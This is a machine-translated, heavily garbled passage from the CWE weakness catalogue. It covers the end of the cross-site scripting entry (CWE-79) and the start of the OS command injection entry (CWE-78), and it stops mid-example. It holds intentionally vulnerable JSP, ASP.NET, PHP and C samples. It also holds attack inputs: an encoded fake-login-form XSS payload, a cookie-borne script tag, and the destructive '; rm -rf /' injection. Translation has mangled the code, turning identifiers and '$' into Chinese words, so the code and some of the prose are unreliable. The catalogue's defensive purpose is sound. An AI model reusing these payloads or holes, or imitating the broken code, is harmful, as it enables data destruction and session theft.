\ u003E \ u003C \ u002F \ u0066 \ u006F \ u0072 \ u006D \ u003E \ u003C \ u002F \ u0064 \ u0069 \ u0076 \ u003E \ u000D”); > < /脚本

这两种攻击的链接将导致虚假的登录框出现在页面上,用户更有可能忽略无法解释的文本url的末尾。

示例2

下面的代码显示了一个反映XSS(1型)的场景。

以下JSP代码段读取一个雇员ID,开斋节,从一个HTTP请求并将其显示给用户。

(坏的代码)
例如语言:JSP
< %字符串开斋节= request.getParameter(“开斋节”);% >

雇员ID: < % =开斋节% >

下面的ASP。NETcode segment reads an employee ID number from an HTTP request and displays it to the user.

(坏的代码)
例如语言:ASP.NET
< %
System.Web.UI.WebControls保护。文本框登录;
System.Web.UI.WebControls保护。标签EmployeeID;

EmployeeID。Text = Login.Text;
% >

< p > < asp:标签id =“EmployeeID runat = " server " / > < / p >

这个例子中的代码运行正确,如果雇员ID变量只包含字母数字文本标准。如果它有价值,包括元字符或源代码,那么代码将执行的web浏览器,因为它显示了HTTP响应。

示例3

下面的代码显示了一个存储XSS(2型)的场景。

以下JSP代码片段查询数据库与给定ID和一个员工打印相应的员工的名字。

(坏的代码)
例如语言:JSP
< % =声明支撑conn.createStatement ();
ResultSet rs =支撑。executeQuery (“select *从emp id = " +宰牲节);
如果(rs ! = null) {
rs.next ();
字符串名称= rs.getString(“名字”);
}% >

员工姓名:< % = % >

下面的ASP。NETcode segment queries a database for an employee with a given employee ID and prints the name corresponding with the ID.

(坏的代码)
例如语言:ASP.NET
< %
System.Web.UI.WebControls保护。标签EmployeeName;

字符串查询= " select *从emp id = " +开斋节;
康涅狄格州sda = new SqlDataAdapter(查询);
sda.Fill (dt);
字符串名称= dt.Rows[0](“名字”);

EmployeeName。Text = name;%>
< p > < asp:标签id =“EmployeeName runat = " server " / > < / p >

这段代码会显得更少的危险,因为名字是读取数据库的价值,显然是由应用程序管理的内容。然而,如果名字来源于用户提供的数据的价值,那么数据库可以为恶意内容的一个渠道。没有适当的输入验证所有数据存储在数据库中,攻击者可以在用户的web浏览器中执行恶意命令。

示例4

下面的代码在web应用程序中包含两个单独的页面,一个致力于创建用户帐户,另一个用于清单目前活跃用户登录。它还显示存储XSS(2型)的场景。

CreateUser.php

(坏的代码)
例如语言:PHP
美元$ username = mysql_real_escape_string(用户名);
$ fullName = mysql_real_escape_string ($ fullName);
查询美元= sprintf(插入用户(用户名、密码)值(“% s”、“% s”、“% s”)”,用户名、美元地下室(密码)美元,美元fullName);
美元mysql_query(查询);
/……

代码小心避免SQL注入攻击(cwe - 89),但并不能阻止有效的HTML被存储在数据库中。这可以被利用后,ListUsers。php检索信息:

ListUsers.php

(坏的代码)
例如语言:PHP
从用户查询美元= ' Select * loggedIn = true”;
美元$结果= mysql_query(查询);

如果(! $ results) {
退出;
}

/ /打印用户列表页面
echo ' < div id = " userlist " >目前活跃用户:”;
而($行=作用(结果)美元){
回声的< div class = "用户名" >。美元行(“fullname”)。”< / div >;
}
回声的< / div >;

攻击者可以将他们的名字设置为任意的HTML,然后显示所有活跃用户页面的访问者。这个HTML可以,例如,是一个窃取密码登录信息。

示例5

下面的代码是一个简单的留言板,省去了消息在HTML格式和附加文件。当一个新用户到达房间,它使一个公告:

(坏的代码)
例如语言:PHP
name = _COOKIE美元(“名字”);
美元announceStr = " $名字登录。”;

/ / html格式的信息保存到文件;对于这个例子实现细节无关。
saveMessage ($ announceStr);

攻击者可能会执行一个HTML注入(2型XSS)攻击通过设置cookie值:

(攻击代码)
<脚本> document.alert(“砍”);> < /脚本

原始消息的内容文件看起来像:

(结果)
<脚本> document.alert(“砍”);> < /脚本已经登录。

为每个人访问消息页面,浏览器将执行该脚本,生成一个弹出窗口,说“砍”。更多的恶意攻击是可能的;看到这个条目。

+观察到的例子
参考 描述
Python库经理没有足够中和用户提供的搜索词,允许XSS反映出来。
面向电子商务平台没有逃脱返回错误页面上的内容,允许反映跨站点脚本攻击。
普遍XSS移动操作系统,利用每中钢协KEV在野外。
链:不当输入验证(CWE-20在防火墙产品导致XSS (cwe - 79),利用每中钢协KEV在野外。
管理GUI允许通过cookie XSS。
网络统计程序允许XSS通过HTTP头。
Web日志分析产品允许XSS通过HTTP引用页头。
链:保护机制允许XSS失败
链:完整denylist (cwe - 184)只检查“javascript:”标签,允许XSS (cwe - 79)使用其他标记
链:完整denylist (cwe - 184)只删除脚本标记,使XSS (cwe - 79)
XSS在URL中使用PATH_INFO反映出来
反映XSS不妥善处理时生成一个错误消息
反映XSS发送通过电子邮件消息。
XSS存储在一个安全的产品。
存储XSS使用wiki页面。
XSS存储在一个留言板的应用程序。
XSS存储在留言板应用程序使用一个javascript: bbcode img标签URI。
链:库文件不是防止直接请求(cwe - 425),导致反映XSS (cwe - 79)。
+潜在的缓解措施

阶段:体系结构和设计

策略:库或框架

使用审查库或框架不允许这个弱点发生或提供了结构,使这个弱点更容易避免的。

库和框架的例子更容易生成正确编码输出包括微软的Anti-XSS图书馆,OWASP ESAPI编码模块,和Apache Wicket。

阶段:实施;架构和设计

理解的上下文将使用您的数据编码,将预期。这是特别重要的不同组件之间传送数据的时候,或者当生成输出可以包含多个编码同时,如web页面或多部分邮件。研究所有预期的通信协议以及数据表现方式来决定所需要的编码策略。

任何数据,输出到另一个网页,特别是收到任何数据从外部输入,使用适当的编码在所有非字母数字的字符。

部分相同的输出文档可能需要不同的编码,这将取决于是否输出是:

  • HTML的身体
  • 元素属性(如src = " XYZ ")
  • uri
  • JavaScript部分
  • 层叠样式表和样式属性

等等。注意HTML实体编码只适合身体的HTML。

查阅XSS预防备忘单(ref - 724为更多细节所需类型的编码和逃避。

阶段:体系结构和设计;实现

策略:减少攻击表面

理解所有潜在的地区不受信任的输入可以输入软件:参数或参数,饼干,任何从网络读取环境变量,反向DNS查找,查询结果,请求头,URL组件、电子邮件、文件、文件名、数据库,以及任何外部系统提供数据的应用程序。记住,这样的投入可以获得间接通过API调用。

有效性:有限

注意:该技术效果有限,但可以帮助时可以在服务器端存储客户端状态和敏感信息而不是饼干,头,隐藏的表单字段,等等。

阶段:体系结构和设计

对于任何一个在客户端执行安全检查,确保这些检查复制在服务器端,为了避免cwe - 602。攻击者可以绕过客户端检查通过修改值后,检查执行,或通过改变客户端完全删除客户端检查。然后,这些修改的值将被提交到服务器。

阶段:体系结构和设计

策略:参数化

如果可用,使用结构化机制自动执行数据和代码之间的分离。这些机制可以提供相关的引用,编码,自动验证,而不是依赖于开发人员提供此功能在每一个点生成输出。

实施阶段:

策略:输出编码

使用和指定输出编码可以由下游组件读取输出。常见的编码包括iso - 8859 - 1、utf - 7, utf - 8。如果不指定一个编码,下游组件可能会选择不同的编码,通过假设一个默认的编码或使用自动推断哪些编码,这可能是错误的。编码不一致时,下游组件可能治疗一些特殊字符或字节序列,即使他们没有特别在原始的编码。攻击者就能够利用这种差异,开展注入攻击;他们甚至可以绕过保护机制,假设原编码也被下游组件。

输出编码不一致的问题经常出现在web页面。如果没有指定一个编码在一个HTTP头,web浏览器经常猜测哪些编码使用。这可以打开浏览器微妙的XSS攻击。

实施阶段:

使用Struts,编写所有的数据表单bean与bean的过滤器属性设置为true。

实施阶段:

策略:减少攻击表面

帮助减轻XSS攻击用户的会话cookie, HttpOnly设置会话cookie。在浏览器支持HttpOnly特性(比如最近版本的Internet Explorer和Firefox),这个属性可以防止用户的会话cookie访问恶意使用。com的客户端脚本。这不是一个完整的解决方案,因为HttpOnly不是所有浏览器都支持的。更重要的是,XMLHTTPRequest和其他强大的浏览器技术提供读访问HTTP头信息,包括set - cookie HttpOnly标志设置的标题。

有效性:深度防御

实施阶段:

策略:输入验证

假设所有的输入是恶意的。使用一个“接受良好的“输入验证策略,即。,use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

当执行输入验证,考虑所有可能相关的属性,包括长度,类型的输入,可接受的值的全系列,缺失或额外的输入,语法,一致性相关领域,符合业务规则。作为业务规则逻辑的一个例子,在语法上“船”可能是有效的,因为它只包含字母数字字符,但它不是有效的如果输入预计仅包含颜色,如“红”或“蓝色”。

不完全依赖寻找恶意或畸形的输入。这很可能错过至少有一个不受欢迎的输入,特别是如果代码的环境变化。这可以让攻击者有足够的空间绕过验证。然而,denylists可以用于检测潜在攻击或确定哪些输入是畸形的,应该直接驳回。

动态地构建web页面时,使用限制严格的allowlists字符集基于请求中的参数的期望值。所有输入都应该验证和洁净,不仅仅是用户应该指定参数,但请求中所有数据,包括隐藏字段,饼干,标题、URL本身,等等。一个常见的错误导致持续的XSS漏洞仅是验证字段将被显示的网站。通常看到的数据请求所反映的应用服务器或应用程序开发团队没有预料到。一个字段,目前不是反映未来的开发人员可以使用。因此,建议验证HTTP请求的所有部分。

注意,适当的输出编码、逃避和防止XSS的引用是最有效的解决方案,尽管输入验证可能提供一些深度防护。这是因为它有效地限制了将出现在输出。输入验证不会总是防止XSS,尤其是如果您需要支持自由格式的文本字段可以包含任意字符。例如,在一个聊天应用程序,心表情符号(< 3)可能会通过验证步骤,因为它是常用的。但是,它不能直接插入到web页面,因为它包含了“<”性格,这需要转义或以其他方式处理。在这种情况下,剥离“<”可能降低XSS的风险,但它会产生不正确的行为,因为表情符号不会被记录下来。这可能似乎是一个小小的不便,但更重要的在一个数学论坛,想代表不平等。

即使你犯了一个错误在你的验证(如100年忘记一个输入字段),适当的编码仍可能会保护你免受喷射的攻击。只要不是做隔离,输入验证仍然是一个有用的技术,因为它可能会大大降低你的攻击面,让你发现一些攻击,并提供其他安全的好处,适当的编码并没有解决。

确保您在应用程序中定义良好的接口执行输入验证。这将有助于保护应用程序即使某个组件的重用或搬地方了。

阶段:体系结构和设计

战略:执行的转换

组接受对象时,如文件名或url,是有限的或已知,从一组固定的输入值创建一个映射(比如数字id)实际的文件名或url,并拒绝所有其他输入。

阶段:操作

防火墙策略:

使用应用程序防火墙,可以检测到攻击这个弱点。它可以是有益的情况下,代码不能固定(因为它是由第三方控制),作为一项紧急预防措施,更全面的软件保证措施被应用,或者提供深度防御。

有效性:温和

注意:应用程序防火墙不可能覆盖所有可能的输入向量。此外,攻击技术可能可以绕过保护机制,比如使用畸形的输入,仍然可以由组件接收处理这些输入。根据功能的不同,应用程序防火墙可能会无意中拒绝或修改合法请求。最后,一些手动工作可能需要定制。

阶段:操作;实现

策略:环境硬化

使用PHP时,配置应用程序,以便它不使用register_globals。在实现,开发应用程序,以便它不依赖于这个特性,但是小心实现register_globals的模拟等弱点cwe - 95,cwe - 621和类似的问题。
+弱点Ordinalities
Ordinality 描述
合成
(缺点是通常与其他弱点的存在)
+检测方法

自动静态分析

使用自动静态分析工具针对这种类型的弱点。许多现代技术利用数据流分析,减少假阳性的数量。这不是一个完美的解决方案,因为100%的准确率和覆盖率不可行,尤其是当涉及多个组件。

有效性:温和

黑盒

使用XSS备忘单(ref - 714)或自动测试生成工具来帮助推出各种各样的攻击您的web应用程序。备忘单包含很多微妙的XSS变异是专门针对弱XSS防御。

有效性:温和

注意:存储XSS,间接造成的数据存储可以让它更加难以发现问题所在。测试人员必须先注入XSS字符串数据存储,然后找到合适的应用程序功能的XSS字符串发送给其他用户的应用程序。这是两个不同的步骤XSS的激活可以分钟,发生后数小时或数天XSS最初注入数据存储。
+会员资格
部分帮助这MemberOf关系表显示额外CWE类别和视图引用这个弱点作为成员。这些信息通常是有用的在理解一个弱点符合外部信息源的上下文中。
自然 类型 ID 的名字
MemberOf 视图视图——CWE条目的一个子集,它提供了一种检查CWE的内容。两个主要视图结构片(列表)和图(包含条目之间的关系)。 635年 最初使用的弱点NVD从2008年到2016年
MemberOf 类别类别——CWE条目包含一组其他条目,共享一个共同的特点。 712年 OWASP十大2007类别A1 -跨站脚本(XSS)
MemberOf 类别类别——CWE条目包含一组其他条目,共享一个共同的特点。 722年 OWASP十大2004类别A1 -用户输入
MemberOf 类别类别——CWE条目包含一组其他条目,共享一个共同的特点。 725年 OWASP十大2004类别A4 -跨站点脚本(XSS)缺陷
MemberOf 类别类别——CWE条目包含一组其他条目,共享一个共同的特点。 751年 2009年前25 -安全组件之间的交互
MemberOf 类别类别——CWE条目包含一组其他条目,共享一个共同的特点。 801年 2010年前25 -安全组件之间的交互
MemberOf 类别类别——CWE条目包含一组其他条目,共享一个共同的特点。 811年 OWASP十大2010类别A2 -跨站点脚本(XSS)
MemberOf 类别类别——CWE条目包含一组其他条目,共享一个共同的特点。 864年 2011年前25 -安全组件之间的交互
MemberOf 视图视图——CWE条目的一个子集,它提供了一种检查CWE的内容。两个主要视图结构片(列表)和图(包含条目之间的关系)。 884年 CWE横截面
MemberOf 类别类别——CWE条目包含一组其他条目,共享一个共同的特点。 931年 OWASP十大2013类别A3 -跨站点脚本(XSS)
MemberOf 类别类别——CWE条目包含一组其他条目,共享一个共同的特点。 990年 SFP二级集群:污染输入命令
MemberOf 类别类别——CWE条目包含一组其他条目,共享一个共同的特点。 1005年 7 pk -输入验证和代表性
MemberOf 类别类别——CWE条目包含一组其他条目,共享一个共同的特点。 1033年 OWASP十大2017类别A7 -跨站点脚本(XSS)
MemberOf 类别类别——CWE条目包含一组其他条目,共享一个共同的特点。 1131年 方案》(2016)——安全质量措施
MemberOf 视图视图——CWE条目的一个子集,它提供了一种检查CWE的内容。两个主要视图结构片(列表)和图(包含条目之间的关系)。 1200年 弱点在2019 CWE最危险的软件错误
MemberOf 类别类别——CWE条目包含一组其他条目,共享一个共同的特点。 1308年 方案及质量措施,安全
MemberOf 视图视图——CWE条目的一个子集,它提供了一种检查CWE的内容。两个主要视图结构片(列表)和图(包含条目之间的关系)。 1337年 2021 CWE最危险软件的弱点的弱点
MemberOf 视图视图——CWE条目的一个子集,它提供了一种检查CWE的内容。两个主要视图结构片(列表)和图(包含条目之间的关系)。 1340年 方案及数据保护措施
MemberOf 类别类别——CWE条目包含一组其他条目,共享一个共同的特点。 1347年 OWASP十大2021类别A03:2021 -注射
MemberOf 视图视图——CWE条目的一个子集,它提供了一种检查CWE的内容。两个主要视图结构片(列表)和图(包含条目之间的关系)。 1350年 2020 CWE最危险软件的弱点的弱点
MemberOf 视图视图——CWE条目的一个子集,它提供了一种检查CWE的内容。两个主要视图结构片(列表)和图(包含条目之间的关系)。 1387年 2022 CWE最危险软件的弱点的弱点
+笔记

的关系

XSS和CSRF之间可以有密切关系(cwe - 352)。攻击者可能会使用CSRF为了诱骗受害人提交请求到服务器的请求包含一个XSS负载。一个著名的例子是萨米蠕虫在MySpace上(ref - 956]。蠕虫使用XSS恶意HTML序列插入到用户的概要文件并添加攻击者为MySpace的朋友。MySpace的朋友,受害者将执行负载来修改自己的资料,导致蠕虫传播指数。由于受害者没有故意插入恶意脚本本身,CSRF根源。

适用的平台

XSS漏洞是非常普遍的在web应用程序中,因为它们需要大量的开发人员纪律,避免他们。

+分类法映射
映射分类名称 节点ID 适合 映射节点名
千鸟 跨站点脚本(XSS)
7有害的王国 跨站点脚本编制
跨站点脚本编制
OWASP十大2007 A1 确切的 跨站脚本(XSS)
OWASP十大2004 A1 CWE更具体 用户输入
OWASP十大2004 A4 确切的 跨站点脚本(XSS)缺陷
WASC 8 跨站点脚本编制
软件故障模式 SFP24 污染输入命令
OMG ASCSM ASCSM -cwe - 79
+引用
[ref - 709]耶利米格罗斯曼,罗伯特“RSnake”汉森,佩特科维奇pdp d . Petkov,安东愤怒和赛斯Fogie。“XSS攻击”。Syngress》2007。
迈克尔•霍华德(REF-44)大卫·勒布朗和Viega约翰。软件安全的“24宗罪”。“罪恶之2:服务器相关的漏洞(XSS, XSRF和响应分裂)。”Page 31. McGraw-Hill. 2010.
迈克尔•霍华德(REF-44)大卫·勒布朗和Viega约翰。软件安全的“24宗罪”。“罪3:直接相关的漏洞(XSS)。”Page 63. McGraw-Hill. 2010.
[ref - 712]“跨站点脚本编制”。维基百科。2008-08-26。<http://en.wikipedia.org/wiki/Cross-site_scripting>。
[REF-7]大卫迈克尔·霍华德和勒布朗。编写安全代码。第十三章,413页“输入网络自身问题”。第二版。微软出版社。2002-12-04。<https://www.microsoftpressstore.com/store/writing -安全-代码- 9780735617223>。
(ref - 714) RSnake。“XSS(跨站脚本)备忘单”。<http://ha.ckers.org/xss.html>。
微软(ref - 715)。“只用http cookie减轻跨站点脚本编制”。<http://msdn.microsoft.com/en-us/library/ms533046.aspx>。
[ref - 716]马克Curphey微软。“Anti-XSS 3.0 Beta和猫。NET社区Technology Preview now Live!". <http://blogs.msdn.com/cisg/archive/2008/12/15/anti-xss-3-0-beta-and-cat-net-community-technology-preview-now-live.aspx>。
REF-45 OWASP。“OWASP企业安全API (ESAPI)项目”。<http://www.owasp.org/index.php/ESAPI>。
伊凡Ristic (ref - 718)。“XSS国防HOWTO”。<http://blog.modsecurity.org/2008/07/do-you-know-how.html>。
OWASP (ref - 719)。“Web应用防火墙”。<http://www.owasp.org/index.php/Web_Application_Firewall>。
(ref - 720) Web应用程序安全性财团。“Web应用防火墙评估标准”。<http://www.webappsec.org/projects/wafec/v1/wasc-wafec-v1.0.html>。
(ref - 721) RSnake。“Firefox实现httpOnly和容易XMLHTTPRequest”。2007-07-19。
[ref - 722]“XMLHttpRequest允许阅读HTTPOnly饼干”。Mozilla。<https://bugzilla.mozilla.org/show_bug.cgi?id=380418>。
[ref - 723]“Apache Wicket”。<http://wicket.apache.org/>。
OWASP (ref - 724)。“XSS(跨站脚本)预防备忘单”。<_Prevention_Cheat_Sheet http://www.owasp.org/index.php/XSS_ (Cross_Site_Scripting)>。
OWASP (ref - 725)。“基于DOM的XSS预防备忘单”。<http://www.owasp.org/index.php/DOM_based_XSS_Prevention_Cheat_Sheet>。
(ref - 726)杰森。“前25系列- 1级跨站脚本”。无软件安全研究所。2010-02-22。<http://blogs.sans.org/appsecstreetfighter/2010/02/22/top-25-series-rank-1-cross-site-scripting/>。
(ref - 62)马克·多德约翰麦克唐纳和贾斯汀Schuh。“软件安全评估的艺术”。17章,“跨站脚本”,1071页。1版。艾迪生卫斯理》2006。
(ref - 956)维基百科。“萨米(电脑蠕虫病毒)”。<https://en.wikipedia.org/wiki/Samy_ (computer_worm)>。URL验证:2018-01-16
(ref - 962)对象管理组织(OMG)。“自动源代码安全措施(ASCSM)”。ascsm - cwe - 79。2016 - 01。<http://www.omg.org/spec/ASCSM/1.0/>。
+内容的历史
+提交
提交日期 提交者 组织
2006-07-19 千鸟
+修改
修改日期 修饰符 组织
2008-07-01 Eric Dalci Cigital
更新Time_of_Introduction
2008-08-15 Veracode
建议OWASP 2004年排名前十的映射
2008-09-08 CWE内容团队 主教法冠
更新Alternate_Terms、Applicable_Platforms Background_Details Common_Consequences,描述,关系,Other_Notes,引用,Taxonomy_Mappings Weakness_Ordinalities
2009-01-12 CWE内容团队 主教法冠
更新Alternate_Terms、Applicable_Platforms Background_Details、Common_Consequences Demonstrative_Examples,描述,Detection_Factors, Enabling_Factors_for_Exploitation,名字,Observed_Examples, Other_Notes Potential_Mitigations,引用关系
2009-03-10 CWE内容团队 主教法冠
更新Potential_Mitigations
2009-05-27 CWE内容团队 主教法冠
更新后的名字
2009-07-27 CWE内容团队 主教法冠
更新描述
2009-10-29 CWE内容团队 主教法冠
更新Observed_Examples、人际关系
2009-12-28 CWE内容团队 主教法冠
Demonstrative_Examples更新,描述、Detection_Factors Enabling_Factors_for_Exploitation Observed_Examples
2010-02-16 CWE内容团队 主教法冠
更新Applicable_Platforms、Detection_Factors Potential_Mitigations、引用关系,Taxonomy_Mappings
2010-04-05 CWE内容团队 主教法冠
更新描述、Potential_Mitigations Related_Attack_Patterns
2010-06-21 CWE内容团队 主教法冠
更新Common_Consequences、描述、名称、Potential_Mitigations引用关系
2010-09-27 CWE内容团队 主教法冠
更新Potential_Mitigations
2011-03-29 CWE内容团队 主教法冠
更新Demonstrative_Examples,引用
2011-06-01 CWE内容团队 主教法冠
更新Common_Consequences
2011-06-27 CWE内容团队 主教法冠
更新的关系
2011-09-13 CWE内容团队 主教法冠
更新Detection_Factors Potential_Mitigations
2012-05-11 CWE内容团队 主教法冠
更新引用关系
2012-10-30 CWE内容团队 主教法冠
更新Potential_Mitigations
2013-07-17 CWE内容团队 主教法冠
更新的关系
2014-07-30 CWE内容团队 主教法冠
更新的关系,Taxonomy_Mappings
2015-12-07 CWE内容团队 主教法冠
更新的关系
2017-01-19 CWE内容团队 主教法冠
更新Related_Attack_Patterns
2017-05-03 CWE内容团队 主教法冠
更新Related_Attack_Patterns、人际关系
2017-11-08 CWE内容团队 主教法冠
更新Applicable_Platforms、Causal_Nature Demonstrative_Examples、Enabling_Factors_for_Exploitation Likelihood_of_Exploit, Modes_of_Introduction引用关系
2018-03-27 CWE内容团队 主教法冠
更新Alternate_Terms Demonstrative_Examples,描述、Observed_Examples引用Relationship_Notes、人际关系
2019-01-03 CWE内容团队 主教法冠
更新引用关系,Taxonomy_Mappings
2019-09-19 CWE内容团队 主教法冠
更新的关系
2020-02-24 CWE内容团队 主教法冠
更新Applicable_Platforms Potential_Mitigations,关系
2020-06-25 CWE内容团队 主教法冠
更新Observed_Examples Potential_Mitigations
2020-08-20 CWE内容团队 主教法冠
更新的关系
2020-12-10 CWE内容团队 主教法冠
更新的关系
2021-03-15 CWE内容团队 主教法冠
更新Demonstrative_Examples、描述
2021-07-20 CWE内容团队 主教法冠
更新的关系
2021-10-28 CWE内容团队 主教法冠
更新的关系
2022-06-28 CWE内容团队 主教法冠
更新Observed_Examples、人际关系
2022-10-13 CWE内容团队 主教法冠
更新Background_Details Observed_Examples
2023-01-31 CWE内容团队 主教法冠
更新Alternate_Terms Demonstrative_Examples,描述
+以前的条目名称
改变日期 以前的条目名称
2008-04-11 跨站点脚本(XSS)
2009-01-12 未能清洁指令在一个Web页面(又名“跨站点脚本(XSS))
2009-05-27 未能保存网页结构(又名“跨站点脚本编制”)
2010-06-21 未能保存网页结构(“跨站点脚本编制”)

cwe - 78:中和不当使用特殊的元素在一个操作系统命令(OS命令注入)

弱点ID: 78
抽象:基地
结构:简单的
视图定制的信息:
+描述
产品结构的全部或部分操作系统命令使用externally-influenced输入从一个上游组件,但这并不中和或错误地中和特殊元素时,可以修改OS命令发送到下游组件。
+扩展描述

这可能允许攻击者执行意想不到的,危险的命令直接在操作系统上。这个弱点会导致脆弱的环境中攻击者没有直接访问操作系统,如在web应用程序中。交替,如果缺陷发生在有特权的程序,它可能允许攻击者指定命令,通常不会访问,或调用备用命令攻击者没有的特权。问题是加剧了如果妥协过程不遵循最小特权原则,因为attacker-controlled命令可能运行特殊的系统权限,增加的伤害。

至少有两种亚型的OS命令注入:

  • 应用程序将执行一个单一的、固定的程序,在自己的控制之下。它打算使用外来的输入参数,程序。例如,程序可能使用系统(“网路资讯查询(主机名)”)运行网路资讯查询,让用户提供一个主机名,用来作为参数。攻击者不能阻止网路资讯查询执行。然而,如果程序没有删除命令分隔符从主机名参数,攻击者可以把分隔符的参数,它允许他们执行自己的计划后,网路资讯查询执行完成。
  • 它使用的应用程序接受一个输入完全选择程序运行,以及使用哪个命令。应用程序只是整个命令重定向操作系统。例如,程序可能使用“exec([命令])”执行(命令)是用户提供的。如果攻击者控制下的命令,那么攻击者可以执行任意命令或程序。如果正在执行的命令使用exec()等函数,CreateProcess(),攻击者可能无法把多个命令组合在一起在同一条线上。

从疲软的角度来看,这些变异代表不同的程序员的错误。在第一个变种,程序员明确计划,来自不受信任的输入方的将部分参数在命令执行。在第二个变种,程序员并不打算让命令访问任何不可信,但是程序员可能并没有占交替方式恶意的攻击者可以提供输入。

+替代条款
壳注射
Shell元字符
+的关系
部分帮助此表显示了弱点和高水平类别相关的这一弱点。这些关系被定义为ChildOf、ParentOf MemberOf,并洞察类似项目可能存在的在较高和较低的抽象级别。此外,关系如PeerOf和CanAlsoBe定义显示类似的弱点,用户可能想要探索。
+相关的视图”研究概念”(cwe - 1000)
自然 类型 ID 的名字
ChildOf 类类——一个弱点,描述的是一个非常抽象的时尚,通常独立于任何特定的语言或技术。更具体的比一个支柱的弱点,但更普遍的基本的弱点。类级别的弱点通常描述问题的1或2以下维度:行为、财产和资源。 77年 不当中和一个命令中使用的特殊元素(“命令注入”)
CanAlsoBe 基地Base -一个弱点,仍主要是独立的资源或技术,但有足够的细节来提供特定的检测和预防方法。基础水平的弱点通常描述问题的2或3以下维度:行为、财产、技术、语言,和资源。 88年 不当中和一个命令的参数分隔符(“参数注入”)
光束 基地Base -一个弱点,仍主要是独立的资源或技术,但有足够的细节来提供特定的检测和预防方法。基础水平的弱点通常描述问题的2或3以下维度:行为、财产、技术、语言,和资源。 184年 不允许输入的完整列表
部分帮助此表显示了弱点和高水平类别相关的这一弱点。这些关系被定义为ChildOf、ParentOf MemberOf,并洞察类似项目可能存在的在较高和较低的抽象级别。此外,关系如PeerOf和CanAlsoBe定义显示类似的弱点,用户可能想要探索。
+相关观点“软件开发”(cwe - 699)
自然 类型 ID 的名字
MemberOf 类别类别——CWE条目包含一组其他条目,共享一个共同的特点。 137年 数据中和问题
部分帮助此表显示了弱点和高水平类别相关的这一弱点。这些关系被定义为ChildOf、ParentOf MemberOf,并洞察类似项目可能存在的在较高和较低的抽象级别。此外,关系如PeerOf和CanAlsoBe定义显示类似的弱点,用户可能想要探索。
+简化映射的相关视图”缺点漏洞发布”(cwe - 1003)
自然 类型 ID 的名字
ChildOf 类类——一个弱点,描述的是一个非常抽象的时尚,通常独立于任何特定的语言或技术。更具体的比一个支柱的弱点,但更普遍的基本的弱点。类级别的弱点通常描述问题的1或2以下维度:行为、财产和资源。 74年 不当中和下游组件使用的特殊元素的输出(注射)
部分帮助此表显示了弱点和高水平类别相关的这一弱点。这些关系被定义为ChildOf、ParentOf MemberOf,并洞察类似项目可能存在的在较高和较低的抽象级别。此外,关系如PeerOf和CanAlsoBe定义显示类似的弱点,用户可能想要探索。
+相关视图”架构概念”(cwe - 1008)
自然 类型 ID 的名字
MemberOf 类别类别——CWE条目包含一组其他条目,共享一个共同的特点。 1019年 验证输入
部分帮助此表显示了弱点和高水平类别相关的这一弱点。这些关系被定义为ChildOf、ParentOf MemberOf,并洞察类似项目可能存在的在较高和较低的抽象级别。此外,关系如PeerOf和CanAlsoBe定义显示类似的弱点,用户可能想要探索。
+相关的视图”方案及质量的措施(2020)”(CWE-1305)
自然 类型 ID 的名字
ChildOf 类类——一个弱点,描述的是一个非常抽象的时尚,通常独立于任何特定的语言或技术。更具体的比一个支柱的弱点,但更普遍的基本的弱点。类级别的弱点通常描述问题的1或2以下维度:行为、财产和资源。 77年 不当中和一个命令中使用的特殊元素(“命令注入”)
部分帮助此表显示了弱点和高水平类别相关的这一弱点。这些关系被定义为ChildOf、ParentOf MemberOf,并洞察类似项目可能存在的在较高和较低的抽象级别。此外,关系如PeerOf和CanAlsoBe定义显示类似的弱点,用户可能想要探索。
+相关的视图”方案及数据保护措施”(cwe - 1340)
自然 类型 ID 的名字
ChildOf 类类——一个弱点,描述的是一个非常抽象的时尚,通常独立于任何特定的语言或技术。更具体的比一个支柱的弱点,但更普遍的基本的弱点。类级别的弱点通常描述问题的1或2以下维度:行为、财产和资源。 77年 不当中和一个命令中使用的特殊元素(“命令注入”)
+模式的介绍
部分帮助不同模式的引入提供了信息如何以及何时可以纳入这一弱点。生命周期的阶段识别点的介绍可能发生,而相关的报告提供了一个典型的场景介绍在给定的阶段。
阶段 请注意
架构和设计
实现 实现:造成这一弱点在建筑安全策略的实施。
+适用的平台
部分帮助该清单显示了给定的弱点可以可能的地区出现。这些可能是为特定命名的语言,操作系统,架构、模式、技术、或一个类这样的平台。列出的平台是随着频率的出现疲态实例。

语言

类:不是特定于语言的患病率(待定)

+常见的后果
部分帮助这个表指定不同的个人相关后果的弱点。标识应用程序范围的安全领域侵犯,而影响了负面的技术影响,如果敌人成功利用这个弱点。可能提供的信息如何可能的具体结果预计将看到列表中相对于其它后果。例如,可能会有高可能性,缺点将被利用来实现一定的影响,但较低的可能性,它将被利用来实现不同的影响。
范围 影响 可能性
保密
完整性
可用性
不可抵赖性

技术的影响:执行未经授权的代码或命令;DoS:崩溃,退出或重新启动;阅读文件或目录;修改文件或目录;阅读应用程序数据;修改应用程序数据;隐藏活动

攻击者可以执行未经授权的命令,它可以用于禁用产品,或读取和修改数据的直接攻击者没有权限访问。由于目标应用程序直接执行命令,而不是攻击者,任何恶意活动似乎来自应用程序或应用程序的所有者。
+利用的可能性
+示范例子

示例1

这个示例代码将把用户的名字和列表,用户的主目录的内容。它受到第一个变种的OS命令注入。

(坏的代码)
例如语言:PHP
$ userName = $ _POST(“用户”);
$命令= ' ls - l /home/ '。美元的用户名;
系统($命令);

$ userName变量不是检查恶意输入。攻击者可以将$ userName变量设置为任意操作系统命令,如:

(攻击代码)
;rm射频/

这将导致美元的命令是:

(结果)
ls - l /home/; rm射频/

因为分号在Unix命令分隔符,操作系统将首先执行ls命令,然后rm命令,删除整个文件系统。

还注意到,这个示例代码是容易受到路径遍历(CWE-22)和不受信任的搜索路径(cwe - 426)的攻击。

示例2

以下简单的程序接受文件名作为命令行参数并显示文件的内容给用户。程序安装setuid root,因为它的目的是作为一个学习工具,允许系统管理员培训检查特权系统文件没有给他们修改他们的能力或破坏系统。

(坏的代码)
例如语言:C
int主要(int命令行参数个数,char * * argv) {
char cmd [CMD_MAX] = " / usr / bin /猫”;
strcat (cmd, argv [1]);
系统(cmd);
}

因为根特权的程序运行,调用系统()也使用root特权执行。如果用户指定了一个标准的文件名,调用是否按预期运行。然而,如果攻击者通过一个字符串的形式”;rm射频/”,然后调用系统()失败执行猫由于缺乏论据,然后犁递归删除根分区的内容。

注意,如果argv[1]是一个很长的参数,那么这个问题可能还受到缓冲区溢出(cwe - 120)。

示例3

这个例子是一个web应用程序,它将执行DNS查找的用户提供的域名。它受到第一个变种的OS命令注入。

(坏的代码)
